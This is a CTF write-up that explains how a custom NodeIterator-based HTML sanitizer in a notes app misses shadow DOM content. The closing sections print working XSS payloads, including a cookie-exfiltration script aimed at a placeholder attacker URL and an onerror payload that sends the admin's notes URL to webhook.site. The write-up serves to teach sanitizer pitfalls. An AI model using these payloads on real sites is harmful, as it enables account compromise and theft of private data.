Perfect Notes

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Difficulty: 500 points | 1 solves

Description: A new notes service with some custom features has been created. Your job? Get the admin's secret note :)

NB: The exploitation is feasible on a Chromium-based browser.

Author: Me :3

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Table of content

• 📜 Introduction
• 🕵️ Recon
• 🔁 NodeIterator
• 👻 Shadow DOM
• 🍪 XSS
• 🎉 Flag

📜 Introduction

This challenge was the hardest web challenge of the CTF and also the only client side. This challenge has been flagged by only one person (@Feelzor_) which found an unnatended solution, you can find his writeup here: link. My mistake occurs inside the HTML sanitizer which we will see later in this writeup, I have forgotten to sanitize DOM Clobbering before accessing a node attribute.

In this writeup, we will act like this unattended solution does not exist 🥲

🕵️ Recon

Starting this challenge, we face a pretty simple interface which asks us for a username:

Filling it by whatever we want, we arrived into a simple note manager, which allows us to create a note with a title and a body:

Something really important to try in such case is to create a second account and try to access the notes of the first one. In our situation, it seems that knowning the UUID of the notes of a user make to access it!

Furthermore, testing few XSS payloads seems not to work. So, before going further, let's check the source code of the page. Digging into it, we could find this pretty interesting class:

// source: https://github.com/cure53/DOMPurify/blob/e0970d88053c1c564b6ccd633b4af7e7d9a10375/src/purify.js#L866
const _isClobbered = (elm) => {
    return (
        elm instanceof HTMLFormElement &&
        (typeof elm.nodeName !== 'string' ||
            typeof elm.textContent !== 'string' ||
            typeof elm.removeChild !== 'function' ||
            !(elm.attributes instanceof NamedNodeMap) ||
            typeof elm.removeAttribute !== 'function' ||
            typeof elm.setAttribute !== 'function' ||
            typeof elm.namespaceURI !== 'string' ||
            typeof elm.insertBefore !== 'function' ||
            typeof elm.hasChildNodes !== 'function')
    );
};

class Sanitizer {

    constructor() {
        this.version = "1.0.0";
        this.creator = "@kevin_mizu";
        // source: https://github.com/cure53/DOMPurify/blob/main/src/tags.js
        this.ALLOWED_TAGS = ["a", "abbr", ..., "video", "wbr"];
        // source: https://github.com/cure53/DOMPurify/blob/main/src/attrs.js
        this.ALLOWED_ATTRIBUTES = ["accept", "action", ..., "xmlns", "slot"];
    }

    sanitize = (input) => {
        var currentNode = "";
        var dom_tree = new DOMParser().parseFromString(input, "text/html");

        var tag_name;
        var nodeIterator = document.createNodeIterator(dom_tree);
        while ((currentNode = nodeIterator.nextNode())) {

            switch(currentNode.nodeType) {
                case currentNode.ELEMENT_NODE:
                    var tag_name   = currentNode.nodeName.toLowerCase();
                    var attributes = currentNode.attributes;

                    // avoid DOMClobbering
                    if (_isClobbered(currentNode)) {
                        currentNode.parentElement.removeChild(currentNode);

                    // avoid mXSS
                    } else if (currentNode.namespaceURI !== "http://www.w3.org/1999/xhtml") {
                        currentNode.parentElement.removeChild(currentNode);

                    // sanitize tags
                    } else if (!this.ALLOWED_TAGS.includes(tag_name)){
                        currentNode.parentElement.removeChild(currentNode);
                    }

                    // sanitize attributes
                    for (let i=0; i < attributes.length; i++) {
                        if (!this.ALLOWED_ATTRIBUTES.includes(attributes[i].name)){
                            currentNode.parentElement.removeChild(currentNode);
                            break;
                        }
                    }
            }
        }

        return dom_tree.documentElement.innerHTML;
    }
}

As we can see, it's a custom HTML Sanitizer which use few parts of DOMPurify for the sanitization

In our case, we can see that, the sanitizer removes:

• DOMClobbering
• mXSS
• Tags and attributes not allowed by DOMPurify

🔁 NodeIterator

Because it's using DOMPurify code fragments, at the first look it could seem to be secure but, this is where NodeIterator issue comes! If fact, even if it is not written in the MDN documentation, the NodeIterator API won't follow external DOM Tree such as ShadowDOM:

var dom_tree = new DOMParser().parseFromString("<template><h1>HELLO</h1>", "text/html");
var nodeIterator = document.createNodeIterator(dom_tree);
while ((currentNode = nodeIterator.nextNode())) {
    console.log(currentNode.nodeName)
}

Output:

#document
HTML
HEAD
TEMPLATE
BODY

As you can see, the h1 tag doesn't appear in the output!

👻 Shadow DOM

The above finding will be really useful as everything inside the shadow DOM won't be sanitized:

var s = new Sanitizer()
s.sanitize("<template><img src=x onerror=alert()>")

Output:

<head><template><img src="x" onerror="alert()"></template></head><body></body>

Perfect! We have our payload, let's simply use it, get an XSS and flag the challenge 🔥 Well, unfortunately that won't be that much simple...

Now that we have a better understanding of what is shadow DOM and how it works, we know why our payload isn't working. We have to:

• Escape head tag.
• Switch shadowroot to open.

Thus, using the following payload, we finally get our XSS! 🎉

</body><template shadowroot="open"><img src=x onerror="alert()"></template>

PS: The shadowroot attribute isn't inside the DOMPurify allow list, I have added it especially for this challenge.

🍪 XSS

Now that we have an XSS, we can try to exfiltrate the bot cookies:

<script>fetch("https://<attacker-url>?".concat(document.cookie))</script>

But, after waiting 5 minutes, nothing comes... Which means that the cookie has the HttpOnly flag... So, we have to find a different way to get an access to admin's notes. By testing a bit the website, we could find a very interesting feature. If you are connected and you access the root URL, it will redirect you to your notes. (based on your session)

So, we could abuse it to force the admin fetching the root URL and exfiltrate the result page URL which will contain is notes!

🎉 Flag

Payload:

</body><template shadowroot="open"><img src=x onerror="fetch('/').then(d => d.url).then((url) => { fetch(`https://webhook.site/<your-webhook>?url=${url}`) })"></template>

Waiting for few minutes give us: http://ctf10k.root-me.org:6004/notes/bb9ccf6f-2ec7-4b14-8a6c-6df064ae18a7

Flag: RM{T4k3_C4R3_0f_Sh4d0w_D0M_Wh1T_S4n1T4Z3R} 🎉